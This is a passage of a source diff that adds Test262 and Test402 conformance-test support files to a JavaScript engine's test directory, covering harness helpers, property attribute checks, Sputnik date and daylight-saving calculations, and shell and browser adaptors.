+= DANGER!!!!!!!!1!!!cos(0)!!!! =
+================================
+
+Any *.js files you add in this directory *will* be considered to be tests by the
+test-staging Makefile target, used to package up JS tests for running on
+Tinderbox. You are now probably sorry this is the case. But there is a
+hackaround! To make the packaging algorithm ignore a *.js file here, add it to
+the EXCLUDED set in lib/manifest.py.
diff --git a/js/src/tests/supporting/sta.js b/js/src/tests/supporting/sta.js
new file mode 100644
index 000000000..5380639e0
--- /dev/null
+++ b/js/src/tests/supporting/sta.js
@@ -0,0 +1,901 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+
+//-----------------------------------------------------------------------------
+function compareArray(aExpected, aActual) {
+ if (aActual.length != aExpected.length) {
+ return false;
+ }
+
+ aExpected.sort();
+ aActual.sort();
+
+ var s;
+ for (var i = 0; i < aExpected.length; i++) {
+ if (aActual[i] !== aExpected[i]) {
+ return false;
+ }
+ }
+ return true;
+}
+
+//-----------------------------------------------------------------------------
+function arrayContains(arr, expected) {
+ var found;
+ for (var i = 0; i < expected.length; i++) {
+ found = false;
+ for (var j = 0; j < arr.length; j++) {
+ if (expected[i] === arr[j]) {
+ found = true;
+ break;
+ }
+ }
+ if (!found) {
+ return false;
+ }
+ }
+ return true;
+}
+
+//-----------------------------------------------------------------------------
+var supportsArrayIndexGettersOnArrays = undefined;
+function fnSupportsArrayIndexGettersOnArrays() {
+ if (typeof supportsArrayIndexGettersOnArrays !== "undefined") {
+ return supportsArrayIndexGettersOnArrays;
+ }
+
+ supportsArrayIndexGettersOnArrays = false;
+
+ if (fnExists(Object.defineProperty)) {
+ var arr = [];
+ Object.defineProperty(arr, "0", {
+ get: function() {
+ supportsArrayIndexGettersOnArrays = true;
+ return 0;
+ }
+ });
+ var res = arr[0];
+ }
+
+ return supportsArrayIndexGettersOnArrays;
+}
+
+//-----------------------------------------------------------------------------
+var supportsArrayIndexGettersOnObjects = undefined;
+function fnSupportsArrayIndexGettersOnObjects() {
+ if (typeof supportsArrayIndexGettersOnObjects !== "undefined")
+ return supportsArrayIndexGettersOnObjects;
+
+ supportsArrayIndexGettersOnObjects = false;
+
+ if (fnExists(Object.defineProperty)) {
+ var obj = {};
+ Object.defineProperty(obj, "0", {
+ get: function() {
+ supportsArrayIndexGettersOnObjects = true;
+ return 0;
+ }
+ });
+ var res = obj[0];
+ }
+
+ return supportsArrayIndexGettersOnObjects;
+}
+
+//-----------------------------------------------------------------------------
+function ConvertToFileUrl(pathStr) {
+ return "file:" + pathStr.replace(/\\/g, "/");
+}
+
+//-----------------------------------------------------------------------------
+function fnExists(/*arguments*/) {
+ for (var i = 0; i < arguments.length; i++) {
+ if (typeof (arguments[i]) !== "function") return false;
+ }
+ return true;
+}
+
+//-----------------------------------------------------------------------------
+var __globalObject = Function("return this;")();
+function fnGlobalObject() {
+ return __globalObject;
+}
+
+//-----------------------------------------------------------------------------
+function fnSupportsStrict() {
+ "use strict";
+ try {
+ eval('with ({}) {}');
+ return false;
+ } catch (e) {
+ return true;
+ }
+}
+
+//-----------------------------------------------------------------------------
+//Verify all attributes specified data property of given object:
+//value, writable, enumerable, configurable
+//If all attribute values are expected, return true, otherwise, return false
+function dataPropertyAttributesAreCorrect(obj,
+ name,
+ value,
+ writable,
+ enumerable,
+ configurable) {
+ var attributesCorrect = true;
+
+ if (obj[name] !== value) {
+ if (typeof obj[name] === "number" &&
+ isNaN(obj[name]) &&
+ typeof value === "number" &&
+ isNaN(value)) {
+ // keep empty
+ } else {
+ attributesCorrect = false;
+ }
+ }
+
+ try {
+ if (obj[name] === "oldValue") {
+ obj[name] = "newValue";
+ } else {
+ obj[name] = "OldValue";
+ }
+ } catch (we) {
+ }
+
+ var overwrited = false;
+ if (obj[name] !== value) {
+ if (typeof obj[name] === "number" &&
+ isNaN(obj[name]) &&
+ typeof value === "number" &&
+ isNaN(value)) {
+ // keep empty
+ } else {
+ overwrited = true;
+ }
+ }
+ if (overwrited !== writable) {
+ attributesCorrect = false;
+ }
+
+ var enumerated = false;
+ for (var prop in obj) {
+ if (obj.hasOwnProperty(prop) && prop === name) {
+ enumerated = true;
+ }
+ }
+
+ if (enumerated !== enumerable) {
+ attributesCorrect = false;
+ }
+
+
+ var deleted = false;
+
+ try {
+ delete obj[name];
+ } catch (de) {
+ }
+ if (!obj.hasOwnProperty(name)) {
+ deleted = true;
+ }
+ if (deleted !== configurable) {
+ attributesCorrect = false;
+ }
+
+ return attributesCorrect;
+}
+
+//-----------------------------------------------------------------------------
+//Verify all attributes specified accessor property of given object:
+//get, set, enumerable, configurable
+//If all attribute values are expected, return true, otherwise, return false
+function accessorPropertyAttributesAreCorrect(obj,
+ name,
+ get,
+ set,
+ setVerifyHelpProp,
+ enumerable,
+ configurable) {
+ var attributesCorrect = true;
+
+ if (get !== undefined) {
+ if (obj[name] !== get()) {
+ if (typeof obj[name] === "number" &&
+ isNaN(obj[name]) &&
+ typeof get() === "number" &&
+ isNaN(get())) {
+ // keep empty
+ } else {
+ attributesCorrect = false;
+ }
+ }
+ } else {
+ if (obj[name] !== undefined) {
+ attributesCorrect = false;
+ }
+ }
+
+ try {
+ var desc = Object.getOwnPropertyDescriptor(obj, name);
+ if (typeof desc.set === "undefined") {
+ if (typeof set !== "undefined") {
+ attributesCorrect = false;
+ }
+ } else {
+ obj[name] = "toBeSetValue";
+ if (obj[setVerifyHelpProp] !== "toBeSetValue") {
+ attributesCorrect = false;
+ }
+ }
+ } catch (se) {
+ throw se;
+ }
+
+
+ var enumerated = false;
+ for (var prop in obj) {
+ if (obj.hasOwnProperty(prop) && prop === name) {
+ enumerated = true;
+ }
+ }
+
+ if (enumerated !== enumerable) {
+ attributesCorrect = false;
+ }
+
+
+ var deleted = false;
+ try {
+ delete obj[name];
+ } catch (de) {
+ throw de;
+ }
+ if (!obj.hasOwnProperty(name)) {
+ deleted = true;
+ }
+ if (deleted !== configurable) {
+ attributesCorrect = false;
+ }
+
+ return attributesCorrect;
+}
+
+//-----------------------------------------------------------------------------
+var NotEarlyErrorString = "NotEarlyError";
+var EarlyErrorRePat = "^((?!" + NotEarlyErrorString + ").)*$";
+var NotEarlyError = new Error(NotEarlyErrorString);
+
+//-----------------------------------------------------------------------------
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+function Test262Error(message) {
+ if (message) this.message = message;
+}
+
+Test262Error.prototype.toString = function () {
+ return "Test262 Error: " + this.message;
+};
+
+function testFailed(message) {
+ throw new Test262Error(message);
+}
+
+
+function testPrint(message) {
+
+}
+
+
+//adaptors for Test262 framework
+function $PRINT(message) {
+
+}
+
+function $INCLUDE(message) { }
+function $ERROR(message) {
+ testFailed(message);
+}
+
+function $FAIL(message) {
+ testFailed(message);
+}
+
+
+
+//Sputnik library definitions
+//Ultimately these should be namespaced some how and only made
+//available to tests that explicitly include them.
+//For now, we just define the globally
+
+//math_precision.js
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+function getPrecision(num) {
+ //TODO: Create a table of prec's,
+ // because using Math for testing Math isn't that correct.
+
+ var log2num = Math.log(Math.abs(num)) / Math.LN2;
+ var pernum = Math.ceil(log2num);
+ return (2 * Math.pow(2, -52 + pernum));
+ //return(0);
+}
+
+
+//math_isequal.js
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+var prec;
+function isEqual(num1, num2) {
+ if ((num1 === Infinity) && (num2 === Infinity)) {
+ return (true);
+ }
+ if ((num1 === -Infinity) && (num2 === -Infinity)) {
+ return (true);
+ }
+ prec = getPrecision(Math.min(Math.abs(num1), Math.abs(num2)));
+ return (Math.abs(num1 - num2) <= prec);
+ //return(num1 === num2);
+}
+
+//numeric_conversion.js
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+function ToInteger(p) {
+ var x = Number(p);
+
+ if (isNaN(x)) {
+ return +0;
+ }
+
+ if ((x === +0)
+ || (x === -0)
+ || (x === Number.POSITIVE_INFINITY)
+ || (x === Number.NEGATIVE_INFINITY)) {
+ return x;
+ }
+
+ var sign = (x < 0) ? -1 : 1;
+
+ return (sign * Math.floor(Math.abs(x)));
+}
+
+//Date_constants.js
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+var HoursPerDay = 24;
+var MinutesPerHour = 60;
+var SecondsPerMinute = 60;
+
+var msPerDay = 86400000;
+var msPerSecond = 1000;
+var msPerMinute = 60000;
+var msPerHour = 3600000;
+
+var date_1899_end = -2208988800001;
+var date_1900_start = -2208988800000;
+var date_1969_end = -1;
+var date_1970_start = 0;
+var date_1999_end = 946684799999;
+var date_2000_start = 946684800000;
+var date_2099_end = 4102444799999;
+var date_2100_start = 4102444800000;
+
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+//the following values are normally generated by the sputnik.py driver
+var $LocalTZ,
+ $DST_start_month,
+ $DST_start_sunday,
+ $DST_start_hour,
+ $DST_start_minutes,
+ $DST_end_month,
+ $DST_end_sunday,
+ $DST_end_hour,
+ $DST_end_minutes;
+
+(function () {
+ /**
+ * Finds the first date, starting from |start|, where |predicate|
+ * holds.
+ */
+ var findNearestDateBefore = function(start, predicate) {
+ var current = start;
+ var month = 1000 * 60 * 60 * 24 * 30;
+ for (var step = month; step > 0; step = Math.floor(step / 3)) {
+ if (!predicate(current)) {
+ while (!predicate(current))
+ current = new Date(current.getTime() + step);
+ current = new Date(current.getTime() - step);
+ }
+ }
+ while (!predicate(current)) {
+ current = new Date(current.getTime() + 1);
+ }
+ return current;
+ };
+
+ var juneDate = new Date(2000, 5, 20, 0, 0, 0, 0);
+ var decemberDate = new Date(2000, 11, 20, 0, 0, 0, 0);
+ var juneOffset = juneDate.getTimezoneOffset();
+ var decemberOffset = decemberDate.getTimezoneOffset();
+ var isSouthernHemisphere = (juneOffset > decemberOffset);
+ var winterTime = isSouthernHemisphere ? juneDate : decemberDate;
+ var summerTime = isSouthernHemisphere ? decemberDate : juneDate;
+
+ var dstStart = findNearestDateBefore(winterTime, function (date) {
+ return date.getTimezoneOffset() == summerTime.getTimezoneOffset();
+ });
+ $DST_start_month = dstStart.getMonth();
+ $DST_start_sunday = dstStart.getDate() > 15 ? '"last"' : '"first"';
+ $DST_start_hour = dstStart.getHours();
+ $DST_start_minutes = dstStart.getMinutes();
+
+ var dstEnd = findNearestDateBefore(summerTime, function (date) {
+ return date.getTimezoneOffset() == winterTime.getTimezoneOffset();
+ });
+ $DST_end_month = dstEnd.getMonth();
+ $DST_end_sunday = dstEnd.getDate() > 15 ? '"last"' : '"first"';
+ $DST_end_hour = dstEnd.getHours();
+ $DST_end_minutes = dstEnd.getMinutes();
+
+ return;
+})();
+
+
+//Date.library.js
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+//15.9.1.2 Day Number and Time within Day
+function Day(t) {
+ return Math.floor(t/msPerDay);
+}
+
+function TimeWithinDay(t) {
+ return t%msPerDay;
+}
+
+//15.9.1.3 Year Number
+function DaysInYear(y){
+ if(y%4 != 0) return 365;
+ if(y%4 == 0 && y%100 != 0) return 366;
+ if(y%100 == 0 && y%400 != 0) return 365;
+ if(y%400 == 0) return 366;
+}
+
+function DayFromYear(y) {
+ return (365*(y-1970)
+ + Math.floor((y-1969)/4)
+ - Math.floor((y-1901)/100)
+ + Math.floor((y-1601)/400));
+}
+
+function TimeFromYear(y){
+ return msPerDay*DayFromYear(y);
+}
+
+function YearFromTime(t) {
+ t = Number(t);
+ var sign = ( t < 0 ) ? -1 : 1;
+ var year = ( sign < 0 ) ? 1969 : 1970;
+
+ for(var time = 0;;year += sign){
+ time = TimeFromYear(year);
+
+ if(sign > 0 && time > t){
+ year -= sign;
+ break;
+ }
+ else if(sign < 0 && time <= t){
+ break;
+ }
+ };
+ return year;
+}
+
+function InLeapYear(t){
+ if(DaysInYear(YearFromTime(t)) == 365)
+ return 0;
+
+ if(DaysInYear(YearFromTime(t)) == 366)
+ return 1;
+}
+
+function DayWithinYear(t) {
+ return Day(t)-DayFromYear(YearFromTime(t));
+}
+
+//15.9.1.4 Month Number
+function MonthFromTime(t){
+ var day = DayWithinYear(t);
+ var leap = InLeapYear(t);
+
+ if((0 <= day) && (day < 31)) return 0;
+ if((31 <= day) && (day < (59+leap))) return 1;
+ if(((59+leap) <= day) && (day < (90+leap))) return 2;
+ if(((90+leap) <= day) && (day < (120+leap))) return 3;
+ if(((120+leap) <= day) && (day < (151+leap))) return 4;
+ if(((151+leap) <= day) && (day < (181+leap))) return 5;
+ if(((181+leap) <= day) && (day < (212+leap))) return 6;
+ if(((212+leap) <= day) && (day < (243+leap))) return 7;
+ if(((243+leap) <= day) && (day < (273+leap))) return 8;
+ if(((273+leap) <= day) && (day < (304+leap))) return 9;
+ if(((304+leap) <= day) && (day < (334+leap))) return 10;
+ if(((334+leap) <= day) && (day < (365+leap))) return 11;
+}
+
+//15.9.1.5 Date Number
+function DateFromTime(t) {
+ var day = DayWithinYear(t);
+ var month = MonthFromTime(t);
+ var leap = InLeapYear(t);
+
+ if(month == 0) return day+1;
+ if(month == 1) return day-30;
+ if(month == 2) return day-58-leap;
+ if(month == 3) return day-89-leap;
+ if(month == 4) return day-119-leap;
+ if(month == 5) return day-150-leap;
+ if(month == 6) return day-180-leap;
+ if(month == 7) return day-211-leap;
+ if(month == 8) return day-242-leap;
+ if(month == 9) return day-272-leap;
+ if(month == 10) return day-303-leap;
+ if(month == 11) return day-333-leap;
+}
+
+//15.9.1.6 Week Day
+function WeekDay(t) {
+ var weekday = (Day(t)+4)%7;
+ return (weekday < 0 ? 7+weekday : weekday);
+}
+
+//15.9.1.9 Daylight Saving Time Adjustment
+$LocalTZ = (new Date()).getTimezoneOffset() / -60;
+if (DaylightSavingTA((new Date()).valueOf()) !== 0) {
+ $LocalTZ -= 1;
+}
+var LocalTZA = $LocalTZ*msPerHour;
+
+function DaysInMonth(m, leap) {
+ m = m%12;
+
+ //April, June, Sept, Nov
+ if(m == 3 || m == 5 || m == 8 || m == 10 ) {
+ return 30;
+ }
+
+ //Jan, March, May, July, Aug, Oct, Dec
+ if(m == 0 || m == 2 || m == 4 || m == 6 || m == 7 || m == 9 || m == 11){
+ return 31;
+ }
+
+ //Feb
+ return 28+leap;
+}
+
+function GetSundayInMonth(t, m, count){
+ var year = YearFromTime(t);
+ var tempDate;
+
+ if (count==='"first"') {
+ for (var d=1; d <= DaysInMonth(m, InLeapYear(t)); d++) {
+ tempDate = new Date(year, m, d);
+ if (tempDate.getDay()===0) {
+ return tempDate.valueOf();
+ }
+ }
+ } else if(count==='"last"') {
+ for (var d=DaysInMonth(m, InLeapYear(t)); d>0; d--) {
+ tempDate = new Date(year, m, d);
+ if (tempDate.getDay()===0) {
+ return tempDate.valueOf();
+ }
+ }
+ }
+ throw new Error("Unsupported 'count' arg:" + count);
+}
+/*
+function GetSundayInMonth(t, m, count){
+ var year = YearFromTime(t);
+ var leap = InLeapYear(t);
+ var day = 0;
+
+ if(m >= 1) day += DaysInMonth(0, leap);
+ if(m >= 2) day += DaysInMonth(1, leap);
+ if(m >= 3) day += DaysInMonth(2, leap);
+ if(m >= 4) day += DaysInMonth(3, leap);
+ if(m >= 5) day += DaysInMonth(4, leap);
+ if(m >= 6) day += DaysInMonth(5, leap);
+ if(m >= 7) day += DaysInMonth(6, leap);
+ if(m >= 8) day += DaysInMonth(7, leap);
+ if(m >= 9) day += DaysInMonth(8, leap);
+ if(m >= 10) day += DaysInMonth(9, leap);
+ if(m >= 11) day += DaysInMonth(10, leap);
+
+ var month_start = TimeFromYear(year)+day*msPerDay;
+ var sunday = 0;
+
+ if(count === "last"){
+ for(var last_sunday = month_start+DaysInMonth(m, leap)*msPerDay;
+ WeekDay(last_sunday)>0;
+ last_sunday -= msPerDay
+ ){};
+ sunday = last_sunday;
+ }
+ else {
+ for(var first_sunday = month_start;
+ WeekDay(first_sunday)>0;
+ first_sunday += msPerDay
+ ){};
+ sunday = first_sunday+7*msPerDay*(count-1);
+ }
+
+ return sunday;
+}*/
+
+function DaylightSavingTA(t) {
+// t = t-LocalTZA;
+
+ var DST_start = GetSundayInMonth(t, $DST_start_month, $DST_start_sunday) +
+ $DST_start_hour*msPerHour +
+ $DST_start_minutes*msPerMinute;
+
+ var k = new Date(DST_start);
+
+ var DST_end = GetSundayInMonth(t, $DST_end_month, $DST_end_sunday) +
+ $DST_end_hour*msPerHour +
+ $DST_end_minutes*msPerMinute;
+
+ if ( t >= DST_start && t < DST_end ) {
+ return msPerHour;
+ } else {
+ return 0;
+ }
+}
+
+//15.9.1.9 Local Time
+function LocalTime(t){
+ return t+LocalTZA+DaylightSavingTA(t);
+}
+
+function UTC(t) {
+ return t-LocalTZA-DaylightSavingTA(t-LocalTZA);
+}
+
+//15.9.1.10 Hours, Minutes, Second, and Milliseconds
+function HourFromTime(t){
+ return Math.floor(t/msPerHour)%HoursPerDay;
+}
+
+function MinFromTime(t){
+ return Math.floor(t/msPerMinute)%MinutesPerHour;
+}
+
+function SecFromTime(t){
+ return Math.floor(t/msPerSecond)%SecondsPerMinute;
+}
+
+function msFromTime(t){
+ return t%msPerSecond;
+}
+
+//15.9.1.11 MakeTime (hour, min, sec, ms)
+function MakeTime(hour, min, sec, ms){
+ if ( !isFinite(hour) || !isFinite(min) || !isFinite(sec) || !isFinite(ms)) {
+ return Number.NaN;
+ }
+
+ hour = ToInteger(hour);
+ min = ToInteger(min);
+ sec = ToInteger(sec);
+ ms = ToInteger(ms);
+
+ return ((hour*msPerHour) + (min*msPerMinute) + (sec*msPerSecond) + ms);
+}
+
+//15.9.1.12 MakeDay (year, month, date)
+function MakeDay(year, month, date) {
+ if ( !isFinite(year) || !isFinite(month) || !isFinite(date)) {
+ return Number.NaN;
+ }
+
+ year = ToInteger(year);
+ month = ToInteger(month);
+ date = ToInteger(date );
+
+ var result5 = year + Math.floor(month/12);
+ var result6 = month%12;
+
+ var sign = ( year < 1970 ) ? -1 : 1;
+ var t = ( year < 1970 ) ? 1 : 0;
+ var y = ( year < 1970 ) ? 1969 : 1970;
+
+ if( sign == -1 ){
+ for ( y = 1969; y >= year; y += sign ) {
+ t += sign * DaysInYear(y)*msPerDay;
+ }
+ } else {
+ for ( y = 1970 ; y < year; y += sign ) {
+ t += sign * DaysInYear(y)*msPerDay;
+ }
+ }
+
+ var leap = 0;
+ for ( var m = 0; m < month; m++ ) {
+ //if year is changed, than we need to recalculate leep
+ leap = InLeapYear(t);
+ t += DaysInMonth(m, leap)*msPerDay;
+ }
+
+ if ( YearFromTime(t) != result5 ) {
+ return Number.NaN;
+ }
+ if ( MonthFromTime(t) != result6 ) {
+ return Number.NaN;
+ }
+ if ( DateFromTime(t) != 1 ) {
+ return Number.NaN;
+ }
+
+ return Day(t)+date-1;
+}
+
+//15.9.1.13 MakeDate (day, time)
+function MakeDate( day, time ) {
+ if(!isFinite(day) || !isFinite(time)) {
+ return Number.NaN;
+ }
+
+ return day*msPerDay+time;
+}
+
+//15.9.1.14 TimeClip (time)
+function TimeClip(time) {
+ if(!isFinite(time) || Math.abs(time) > 8.64e15){
+ return Number.NaN;
+ }
+
+ return ToInteger(time);
+}
+
+//Test Functions
+//ConstructDate is considered deprecated, and should not be used directly from
+//test262 tests as it's incredibly sensitive to DST start/end dates that
+//vary with geographic location.
+function ConstructDate(year, month, date, hours, minutes, seconds, ms){
+ /*
+ * 1. Call ToNumber(year)
+ * 2. Call ToNumber(month)
+ * 3. If date is supplied use ToNumber(date); else use 1
+ * 4. If hours is supplied use ToNumber(hours); else use 0
+ * 5. If minutes is supplied use ToNumber(minutes); else use 0
+ * 6. If seconds is supplied use ToNumber(seconds); else use 0
+ * 7. If ms is supplied use ToNumber(ms); else use 0
+ * 8. If Result(1) is not NaN and 0 <= ToInteger(Result(1)) <= 99, Result(8) is
+ * 1900+ToInteger(Result(1)); otherwise, Result(8) is Result(1)
+ * 9. Compute MakeDay(Result(8), Result(2), Result(3))
+ * 10. Compute MakeTime(Result(4), Result(5), Result(6), Result(7))
+ * 11. Compute MakeDate(Result(9), Result(10))
+ * 12. Set the [[Value]] property of the newly constructed object to TimeClip(UTC(Result(11)))
+ */
+ var r1 = Number(year);
+ var r2 = Number(month);
+ var r3 = ((date && arguments.length > 2) ? Number(date) : 1);
+ var r4 = ((hours && arguments.length > 3) ? Number(hours) : 0);
+ var r5 = ((minutes && arguments.length > 4) ? Number(minutes) : 0);
+ var r6 = ((seconds && arguments.length > 5) ? Number(seconds) : 0);
+ var r7 = ((ms && arguments.length > 6) ? Number(ms) : 0);
+
+ var r8 = r1;
+
+ if(!isNaN(r1) && (0 <= ToInteger(r1)) && (ToInteger(r1) <= 99))
+ r8 = 1900+r1;
+
+ var r9 = MakeDay(r8, r2, r3);
+ var r10 = MakeTime(r4, r5, r6, r7);
+ var r11 = MakeDate(r9, r10);
+
+ var retVal = TimeClip(UTC(r11));
+ return retVal;
+}
+
+
+
+/**** Python code for initialize the above constants
+// We may want to replicate the following in JavaScript.
+// However, using JS date operations to generate parameters that are then used to
+// test those some date operations seems unsound. However, it isn't clear if there
+//is a good interoperable alternative.
+
+# Copyright 2009 the Sputnik authors. All rights reserved.
+# This code is governed by the BSD license found in the LICENSE file.
+
+def GetDaylightSavingsTimes():
+# Is the given floating-point time in DST?
+def IsDst(t):
+return time.localtime(t)[-1]
+# Binary search to find an interval between the two times no greater than
+# delta where DST switches, returning the midpoint.
+def FindBetween(start, end, delta):
+while end - start > delta:
+middle = (end + start) / 2
+if IsDst(middle) == IsDst(start):
+start = middle
+else:
+end = middle
+return (start + end) / 2
+now = time.time()
+one_month = (30 * 24 * 60 * 60)
+# First find a date with different daylight savings. To avoid corner cases
+# we try four months before and after today.
+after = now + 4 * one_month
+before = now - 4 * one_month
+if IsDst(now) == IsDst(before) and IsDst(now) == IsDst(after):
+logger.warning("Was unable to determine DST info.")
+return None
+# Determine when the change occurs between now and the date we just found
+# in a different DST.
+if IsDst(now) != IsDst(before):
+first = FindBetween(before, now, 1)
+else:
+first = FindBetween(now, after, 1)
+# Determine when the change occurs between three and nine months from the
+# first.
+second = FindBetween(first + 3 * one_month, first + 9 * one_month, 1)
+# Find out which switch is into and which if out of DST
+if IsDst(first - 1) and not IsDst(first + 1):
+start = second
+end = first
+else:
+start = first
+end = second
+return (start, end)
+
+
+def GetDaylightSavingsAttribs():
+times = GetDaylightSavingsTimes()
+if not times:
+return None
+(start, end) = times
+def DstMonth(t):
+return time.localtime(t)[1] - 1
+def DstHour(t):
+return time.localtime(t - 1)[3] + 1
+def DstSunday(t):
+if time.localtime(t)[2] > 15:
+return "'last'"
+else:
+return "'first'"
+def DstMinutes(t):
+return (time.localtime(t - 1)[4] + 1) % 60
+attribs = { }
+attribs['start_month'] = DstMonth(start)
+attribs['end_month'] = DstMonth(end)
+attribs['start_sunday'] = DstSunday(start)
+attribs['end_sunday'] = DstSunday(end)
+attribs['start_hour'] = DstHour(start)
+attribs['end_hour'] = DstHour(end)
+attribs['start_minutes'] = DstMinutes(start)
+attribs['end_minutes'] = DstMinutes(end)
+return attribs
+
+*********/
+
+//--Test case registration-----------------------------------------------------
+function runTestCase(testcase) {
+ if (testcase() !== true) {
+ $ERROR("Test case returned non-true value!");
+ }
+}
diff --git a/js/src/tests/supporting/test262-browser.js b/js/src/tests/supporting/test262-browser.js
new file mode 100644
index 000000000..fb4c18106
--- /dev/null
+++ b/js/src/tests/supporting/test262-browser.js
@@ -0,0 +1,11 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Test262 function $INCLUDE loads a file with support functions for the tests.
+ * Our initial import strategy will be to attempt to load all these files
+ * unconditionally (this may change at some point), so just ignore the call.
+ * This function replaces one in shell.js.
+ */
+function $INCLUDE(file) {}
diff --git a/js/src/tests/supporting/test262-shell.js b/js/src/tests/supporting/test262-shell.js
new file mode 100644
index 000000000..4f1af7fb5
--- /dev/null
+++ b/js/src/tests/supporting/test262-shell.js
@@ -0,0 +1,39 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * The current crop of Test262 test cases that we run are expected to pass
+ * unless they crash or throw. (This isn't true for all Test262 test cases --
+ * for the ones marked @negative the logic is inverted. We'll have to deal with
+ * that concern eventually, but for now we're punting so we can run subsets of
+ * Test262 tests.)
+ */
+testPassesUnlessItThrows();
+
+/*
+ * Test262 function $ERROR throws an error with the message provided. Test262
+ * test cases call it to indicate failure.
+ */
+function $ERROR(msg)
+{
+ throw new Error("Test262 error: " + msg);
+}
+
+/*
+ * Test262 function $INCLUDE loads a file with support functions for the tests.
+ * This function is replaced in browser.js.
+ */
+function $INCLUDE(file)
+{
+ load("supporting/" + file);
+}
+
+/*
+ * Test262 function fnGlobalObject returns the global object.
+ */
+var fnGlobalObject = (function()
+{
+ var global = Function("return this")();
+ return function fnGlobalObject() { return global; };
+})();
diff --git a/js/src/tests/supporting/test402-browser.js b/js/src/tests/supporting/test402-browser.js
new file mode 100644
index 000000000..132215374
--- /dev/null
+++ b/js/src/tests/supporting/test402-browser.js
@@ -0,0 +1,24 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Undo at least the damage done by taintArray so that the jstests
+ * harness won't die. The properties added to Object.prototype by the various
+ * tests have names that are less likely to cause trouble.
+ */
+setRestoreFunction((function () {
+ var Array_indexOf = Array.prototype.indexOf;
+ var Array_join = Array.prototype.join;
+ var Array_push = Array.prototype.push;
+ var Array_slice = Array.prototype.slice;
+ var Array_sort = Array.prototype.sort;
+ return function () {
+ delete Array.prototype["0"];
+ Array.prototype.indexOf = Array_indexOf;
+ Array.prototype.join = Array_join;
+ Array.prototype.push = Array_push;
+ Array.prototype.slice = Array_slice;
+ Array.prototype.sort = Array_sort;
+ };
+}()));
diff --git a/js/src/tests/supporting/test402-shell.js b/js/src/tests/supporting/test402-shell.js
new file mode 100644
index 000000000..2e6826e91
--- /dev/null
+++ b/js/src/tests/supporting/test402-shell.js
@@ -0,0 +1,10 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Test402 tests all pass unless they throw, and there are no @negative tests.
+ * Once Test262 includes @negative support, and this call in test262-shell.js is
+ * removed, this'll need to be uncommented.
+ */
+//testPassesUnlessItThrows();
diff --git a/js/src/tests/supporting/testBuiltInObject.js b/js/src/tests/supporting/testBuiltInObject.js
new file mode 100644
index 000000000..3a8d24fdc
--- /dev/null
+++ b/js/src/tests/supporting/testBuiltInObject.js
@@ -0,0 +1,124 @@
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @description Tests that obj meets the requirements for built-in objects
+ * defined by the introduction of chapter 15 of the ECMAScript Language Specification.
+ * @param {Object} obj the object to be tested.
+ * @param {boolean} isFunction whether the specification describes obj as a function.
+ * @param {boolean} isConstructor whether the specification describes obj as a constructor.
+ * @param {String[]} properties an array with the names of the built-in properties of obj,
+ * excluding length, prototype, or properties with non-default attributes.
+ * @param {number} length for functions only: the length specified for the function
+ * or derived from the argument list.
+ * @author Norbert Lindenberg
+ */
+
+function testBuiltInObject(obj, isFunction, isConstructor, properties, length) {
+
+ if (obj === undefined) {
+ $ERROR("Object being tested is undefined.");
+ }
+
+ var objString = Object.prototype.toString.call(obj);
+ if (isFunction) {
+ if (objString !== "[object Function]") {
+ $ERROR("The [[Class]] internal property of a built-in function must be " +
+ "\"Function\", but toString() returns " + objString);
+ }
+ } else {
+ if (objString !== "[object Object]") {
+ $ERROR("The [[Class]] internal property of a built-in non-function object must be " +
+ "\"Object\", but toString() returns " + objString);
+ }
+ }
+
+ if (!Object.isExtensible(obj)) {
+ $ERROR("Built-in objects must be extensible.");
+ }
+
+ if (isFunction && Object.getPrototypeOf(obj) !== Function.prototype) {
+ $ERROR("Built-in functions must have Function.prototype as their prototype.");
+ }
+
+ if (isConstructor && Object.getPrototypeOf(obj.prototype) !== Object.prototype) {
+ $ERROR("Built-in prototype objects must have Object.prototype as their prototype.");
+ }
+
+ // verification of the absence of the [[Construct]] internal property has
+ // been moved to the end of the test
+
+ // verification of the absence of the prototype property has
+ // been moved to the end of the test
+
+ if (isFunction) {
+
+ if (typeof obj.length !== "number" || obj.length !== Math.floor(obj.length)) {
+ $ERROR("Built-in functions must have a length property with an integer value.");
+ }
+
+ if (obj.length !== length) {
+ $ERROR("Function's length property doesn't have specified value; expected " +
+ length + ", got " + obj.length + ".");
+ }
+
+ var desc = Object.getOwnPropertyDescriptor(obj, "length");
+ if (desc.writable) {
+ $ERROR("The length property of a built-in function must not be writable.");
+ }
+ if (desc.enumerable) {
+ $ERROR("The length property of a built-in function must not be enumerable.");
+ }
+ if (desc.configurable) {
+ $ERROR("The length property of a built-in function must not be configurable.");
+ }
+ }
+
+ properties.forEach(function(prop) {
